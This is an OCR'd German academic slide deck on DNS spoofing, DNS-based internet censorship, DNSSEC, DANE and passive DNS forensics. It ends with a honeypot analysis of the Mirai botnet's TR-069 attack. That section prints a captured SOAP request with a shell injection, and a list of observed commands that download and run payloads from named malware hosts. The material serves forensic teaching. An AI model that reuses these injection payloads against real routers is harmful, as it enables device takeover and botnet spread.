UNIVERSITAT
DEUS | SSEBNU RG

DNS-Spoofing und Internetsperren

Matthaus Wander

<matthaeus.wander@uni-due.de>

CAST-Workshop: Forensik und Internetkriminalitat
Darmstadt, 2016-12-15



Uberblick

e Domain Name System
o Spoofing
o |nternetsperren
e Schutzmalnahmen
o DNSSEC und seine Grenzen
o DANE
e Forensik

o Passive DNS-Replikation
o Exkurs: TR-069 Angriff durch Mirai-Botnetz



Domain Name System (DNS)

Client Rekursiver Resolver Rekursiver Resolver ‘II

e Verteilte, hierarchische Datenbank Autoritative

Nameserver

e LOst Domainname zu Adresse/Bezeichner auf

o Zustandige Server ermitteln (Web, Mail, etc.)

o E-Mail-Spam Blacklists (DNSBL), Reverse Lookups, etc.



Angreiferziele

Client Rekursiver Resolver Rekursiver Resolver ‘II

e Angreiferziele Autoritative

Nameserver

o Service unterbinden (z. B. fiir Internetsperren)

o Anwendung zum falschen Server umleiten
(z. B. fur Phishing oder zum Einblenden von Werbung)



DNS-Spoofing

Client Rekursiver Resolver Rekursiver Resolver ‘II
E_) \

e On-Path-Angreifer: Autoritative

Nameserver

o Sieht Anfrage, falscht Antwort (z. B. im Iokalen Netz)
o Off-Path-Angreifer:

o Errat Anfrage, falscht Antwort (irgendwo im Internet)



DNS-Nachrichtenformat

415 TOS Length
IP 1D Fragmentation
TTL 17 IPH Checksum IPv4
Source IPv4 Address :
— Transaction ID Flags
Destination IPv4 Address .
UDP Questions: 1 Answers: O
— Authority: O Additional: O
Source Port | Destination Port /
Length UDP Checksum DNS Query Name:
Query ,example.de.”
QType: A QClass: IN

example.de. IN A?




DNS-Spoofing

Client Rekursiver Resolver Rekursiver Re‘solver/y‘

e Man-in-the-Middle-Angreifer: Autoritative

Nameserver

o Erhalt Anfrage, falscht Antwort

e Kann auch legitimem Einsatzzweck dienen

o Z. B. Malware-Domains oder Ad/Tracker-Domains filtern



Beispiel: Malware ,DNSChanger®

Client Rekursiver Resolver Rekursiver Resolver

S~ ‘74

Autoritative
- Nameserver

Malware
andert DNS-
Konfiguration

RIS

o

,Rogue” Resolver

Bosartige
Website

Umleitung auf
Website mit Werbung



Beispiel: NXDOMAIN Hijacking

Client Rekursiver Resolver Rekursiver Resolver

i )@(

€ = C  [J o2suchedns.aolde/acl/afe_x?s_it=500error_o2&query=www.dfkjsads.de wr

o ,NXDOMAIN“-Fehler:

02 www.dfkjsads.de

. . . .
D O m a I n e X I St I e rt n I C h t Die von Ihnen eingegebene Internetadresse www.dfkjsads.de konnte nicht gefunden

werden. Wir haben fir Sie folgende weiterfliihrende Ergebnisse:

Weitere Suchvorschlage:
« Uberpriifen Sie bitte die Adresse auf Tippfehler.
+ auto

» ISP leitet stattdessen i

« Uberprufen Sie bitte die Netzwerk-/internetverbindung
* computer
= . * computerspiele
auf eigene Webseite um
« einrichiung

» elektronik
» £33en trinken

Michten Sie mehr (iber diese Seite erfahren? Klicken Sie bitte hier.




Beispiel: Internetsperren

Client Rekursiver Resolver Rekursiver Resolver ‘
@i >@< >
l%/

e ISP sperrt Zugriff auf Domains Autoritative

Nameserver

o Leitet stattdessen auf Webseite mit Sperrhinweis um

o Oder Resolver gibt Fehler zurtick



Beispiel: Internetsperren

Client Rekursiver Resolver

Rekursiver Resolver
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Situs terlarang tidak dapat diakses melalui jaringan ini karena terindikasi
mengandung salah satu unsur Pornografi, Judi, Phising, SARA atau
PROXY.

Jika anda merasa situs ini tidak termasuk ke dalam kategori diatas, silahkan
menghubungi aduankonten [at] depkominfo [dot] go [dot] id.
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The website which you are trying to access is

restricted by the Media Development Authority
(MDA).

Find out more information on MDA regulations.
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Umgehung von ISP-Resolvern

Client Rekursiver Resolver

(&

<€ > <€ >

N

r B
Internet Protocol Version 4 (TCP/IPv4) Properties M

General | Alternate Configuration |

‘fou can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your network administrator
. S for the appropriate IP settings.

(@ Obtain an IP address automatically
{71 Uge the following IP address:

(@) L e 1P address:

Subnet mask:

Default gateway:

O O ( () Obtain DNS server address automatically

(@) Use the following DNS server addresses:

NS 883

R irarnatif: 8.8,

Preferred DNS server: 8 .8 .8 .8

Alternate DNS server:

[ validate settings upon exit




DNS-Injection durch IP-Router

Client ISP-Router Rekursiver R(iscjh/a/y‘
@ f =< " ’

e DNS-Injection durch IP-Router: Autoritative

Nameserver

o Deep Packet Inspection aller DNS-Anfragen

o Router sieht Anfrage, sendet gefdlschte Antwort

o Effektive Filterung aller DNS-Anfragen im Netzwerk



theguardian
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Iran's president signals softer line on

Falsche Antworten fiir ,facebook. com® : .
web censorship and Islamic dress code

350 | | | | | | Newly elected Hassan Rouhani, an opponent of segregation by
GEJ 300 China 1IN ' ' gender, says Iranians' freedoms and rights have been ignored
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Uberblick

e Domain Name System
o Spoofing

e SchutzmalRnahmen
o DNSSEC und seine Grenzen
o DANE

e Forensik

o Passive DNS-Replikation
o Exkurs: TR-069 Angriff durch Mirai-Botnetz



MalfRnahmen gegen Angreiferklassen

e Man-in-the-Middle-Angreifer
o Vertrauenswiurdigen Resolver verwenden / selbst betreiben

o Off-Path-Angreifer

o Zufallige Felder in Anfrage (TID, Source Port, DNS-Cookies)
o Kryptographische Verfahren (z. B. DNSSEC)

e On-Path-Angreifer
o Kryptographische Verfahren (z. B. DNSSEC)



DNSSEC

AN\

NS N Y
— 2 “nlgr <k DNS
X X X Zone

Stub- Rekursiver Rekursiver Autoritativer
Resolver Resolver Resolver Nameserver

/4

L

e Sicherheitsziele: Datenintegritat und Authentizitat
e Signaturen 4 Uber DNS-Eintrage vorgeneriert

e Ende-zu-Ende-Sicherheit Validator—



Schliisselverteilung

//-~ *~ .

7 y )
Il - Offentlicher Schliissel de. IN NS a.nic.de.
'l 4 de! Signie_rter Key Fingerprint de. IN DS AAB73083|...]
; ;
l, % de.
I .. :
I ; —) Offentlicher Schltssel

> . example.de: Signlierter Key Fingerprint

o '
Q/ % example.de.
. = 2 Offentlicher Schliissel

Validierender Resolver halt
offentlichen Root-Schlissel
> « Signierte Resource Records

(Root KSK)




Vertrauensmodell

Sicherheitskette

Namensraum Root KSK Besitzer | ICANN
4
: Root ZSK Besitzer | Verisign
Root Zone delegiert 5

Vertrauen :
1

de Registr
Top-level +g -
de Registrar
)
2nd level I héngt ab von

[ example.de ]

Domain-Besitzer




Grenzen von DNSSEC

e Keine Privatheit: DNS-Nachrichten im Klartext

o Verschlisselung nicht vorgesehen und hilft nur bedingt,
z. B. nicht bei Anfrage an 69.171.239.12 (a.ns.facebook.com)

e Internetsperren durch Packet Drop dennoch moglich

e DNSSEC schitzt nur bis zum validierenden Resolver

\ Autoritativer
Stub- > > [
Resolver @ @ g @ Nameserver
s -

Google Public DNS




DNSSEC auf Endgerdten

Stub-Resolver Middlebox

Rekursiver Resolver

Autoritativer Nameserver
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e |deal: DNSSEC-Validierung auf Endgerat

o Klappt DNSSEC auf Endgeradten trotz Middleboxes?
o Application-Level Firewall, WLAN Hot Spots, DNS-Proxys

o Ausmald des Problems in der Praxis derzeit unklar
o Tunneling als Workaround (DNS over TLS/HTTPS)



Cache Lock-In

Stub-Resolver Rekursiver Resolver Rekursiver Resolver Autoritativer Nameserver
/Q\ Ve G
W —> ‘\‘ DNS
. § Zone

e Validierung ist nur auf einem Resolver vorgesehen
o Bei Validierungsfehler: allgemeiner SERVFAIL error

o Mit CD=1 werden Resolver angewiesen nicht zu validieren

e Problem: Cache Lock-In auf fehlerhafte Eintrage



Lohnen sich zentrale DNS-Caches?

Anfragen (CDF)

1

O
oo

O
o

0.4
02 Fd 4 | | )
| : 10k caches | ————
0 ! : | | |
0 20 40 60 80 100

Overhead der Namensauflosung in ms

Simulation:

10000 Clients
mit und ohne
zentralen DNS-

Cache



DANE

e DNSSEC sichert lediglich die Namensauflosung
o Ersetzt nicht TLS oder SSH auf Anwendungsebene

e DANE: DNS-based Authentication of Named Entities
o Authentifizierung von Zertifikaten oder 6ff. Schllisseln
o Bindet Domain an X.509-Zertifikat fir HTTPS/TLS
o Schitzt SMTP/TLS Encryption vor Downgrade-Angriffen
o Weitere Anwendungsfdlle: S/MIME, PGP, SSH Host Key



DNSSEC Authentication Chain Extension

Client Rekursiver Resolver Rekursiver Re‘solver/T y
@ ( < ’

—

Autoritative
Webserver Nameserver

e In Arbeit: DANE Records in TLS-Handshake senden
o DNSSEC-Validierung auf dem Endgerat
o Transport der DNSSEC-Records trotz Middleboxes



Uberblick

¢ Domain Name System
o Spoofing

e SchutzmaRnahmen
o DNSSEC und seine Grenzen
o DANE

e Forensik

o Passive DNS-Replikation
o Exkurs: TR-069 Angriff durch Mirai-Botnetz



Passive DNS-Replikation

Stub-Resolver Rekursiver Resolver Rekursiver Resolver Autoritativer Nameserver

@*" " Oy ’

e Sensoren zeichnen DNS-Records auf
o Anonyme Speicherung in zentraler Datenbank
e Anwendungszweck: Forensik

o Welche IP-Adressen waren einer Domain zugeordnet?
o Welche Domains sind einem Nameserver zugeordnet?



Exkurs: TR-069 Angriff durch Mirai-Botnetz

e Botnetz-Infektion von Heimroutern Uber fehlerhafte
Implementierung einer Fernwartungs-Schnittstelle

o Grolflachiger Internetausfall bei Telekom-Kunden

o Angeblich: fehlerhafte Malware bringt Router zum Crash

o Tatsachlich: fehlerhafter Router crasht ohne Infektion

e Traffic-Analyse eines TCP-Honeypots

TCP

ACK

» Zeichnet Netzwerkverkehr auf
* 95 unbenutzte IPv4-Adressen
* (Fast) alle Ports und Protokolle



Infektionsversuch tiber TCP/7547

POST /UD/act?1 HTTP/1.1

Host: 127.0.0.1:7547

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml

Content-Length: 526

<?xml version="1.0"?><SOAP-ENV:Envelope xmIns:SOAP-ENV="http://[schemas.xmlsoap.org/soap/envelope/"

SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<SOAP-ENV:Body>
<u:SetNTPServers xmins:u="urn:dslforum-org:service: Time:1">
<NewNTPServerl>'cd /tmp;wget http://l.ocalhost.host/1;chmod 777 1;./1 </[NewNTPServerl>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3> S —
<NewNTPServer4></NewNTPServer4> Shell injection
<NewNTPServer5></NewNTPServer5>
</u:SetNTPServers>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>




Infektionsaktivitat im Zeitverlauf
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Beobachtete Angriffs-Kommandos

# first_seen: 2016-11-20 20:23:25.039567, last_seen: 2016-11-21 02:12:52.259196, count: 1011
“/bin/ping -c 1 207.45.187.210°

# first_seen: 2016-11-26 14:41:52.333369, last_seen: 2016-12-12 10:08:49.295930, count: 5825
“cd /tmp;wget http://5.8.65.5/1;chmod 777 1;./1°

# first_seen: 2016-11-26 17:17:39.619035, last_seen: 2016-12-12 13:19:03.678735, count: 121519
“cd /tmp;wget http://l.ocalhost.host/1;,chmod 777 1;./1°

# first_seen: 2016-11-28 11:55:37.278280, last_seen: 2016-12-12 08:58:56.542056, count: 2054
“cd /tmp;wget http://l.ocalhost.host/x.sh;chmod 777 x.sh;./x.sh’

# first_seen: 2016-11-28 17:14:32.599626, last_seen: 2016-12-12 13:20:37.468429, count: 29393
“cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1°

# first_seen: 2016-11-29 18:23:24.182342, last_seen: 2016-12-12 13:14:17.498976, count: 42730
“cd /tmp;wget http://srrys.pw/1;,chmod 777 1;./1°

]



DNSDB von Farsight Security

Domain inzwischen
$ python dnsdb_query.py -s time_first -r tr069.pw. geldscht (NXDOMAIN)

;; bailiwick: pw. ;;  count: 313

;; first seen: 2016-11-28 16:22:30 -0000  ;; last seen: 2016-11-29 16:31:36 -0000
tr069.pw. IN NS dnsl.registrar-servers.com.

tr069.pw. IN NS dns2.registrar-servers.com.

;; bailiwick: tr069.pw. ;; count: 1,011

. first seen: 2016-11-28 16:23:10 -0000 .. last seen: 2016-11-29 16:52:21 -0000
tr069.pw. IN A 5.188.232.141

tr069.pw. IN A 212.92.127.146

;; bailiwick: tr069.pw. ;;  count: 319

. first seen: 2016-11-29 07:33:56 -0000 .. last seen: 2016-11-29 13:30:14 -0000
tr069.pw. IN A 5.188.232.141

tr069.pw. IN A 5.188.232.142

]



Fazit

e DNS-Spoofing ist eine gangige Praxis
o Angriff on-path trivial moglich, off-path aufwendig

o Zweck: Phishing, Werbung, Internetsperren

e DNSSEC sichert Namensauflosung (ohne Privatheit)
o Middleboxes erschweren DNSSEC auf Endgeraten
o DANE: Authentifizierung fur Anwendungen wie Web & Mail

o Passive DNS-Replikation als forensisches Tool



